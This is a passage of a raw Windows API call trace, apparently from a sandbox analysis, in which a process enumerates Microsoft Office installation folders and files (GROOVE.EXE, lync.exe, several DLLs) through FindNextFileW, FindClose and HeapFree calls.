	[0081.337] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.337] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0
	[0081.337] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0081.337] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0081.337] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0082.171] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.172] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0082.176] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.176] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0082.182] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.182] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1
	[0082.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.183] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1
	[0082.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.186] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0082.186] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0082.189] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.190] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0082.190] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0082.190] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.190] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0082.205] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0082.205] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0082.205] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0082.205] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.205] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0082.212] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0082.212] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0082.213] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0082.213] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1
	[0082.214] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0082.214] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0
	[0082.214] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0082.214] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0082.214] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0082.216] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0082.216] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0
	[0082.216] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0082.216] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0082.216] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0082.216] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0082.216] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.218] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0082.225] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0082.226] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0082.238] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0082.238] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0082.240] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0082.240] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0082.240] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0082.240] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.241] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0082.245] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.245] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0082.509] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0082.509] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0082.512] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0082.513] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0
	[0082.513] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0082.513] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0082.514] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0
	[0082.514] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0082.514] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.516] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0082.524] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.524] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0
	[0082.524] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0082.525] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.525] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0082.526] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.526] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0082.528] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.528] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0082.528] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0082.528] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.528] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1
	[0082.969] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0082.970] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1
	[0082.980] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0082.980] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1
	[0082.985] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.985] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0082.986] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.986] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0082.987] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0082.987] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0082.988] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
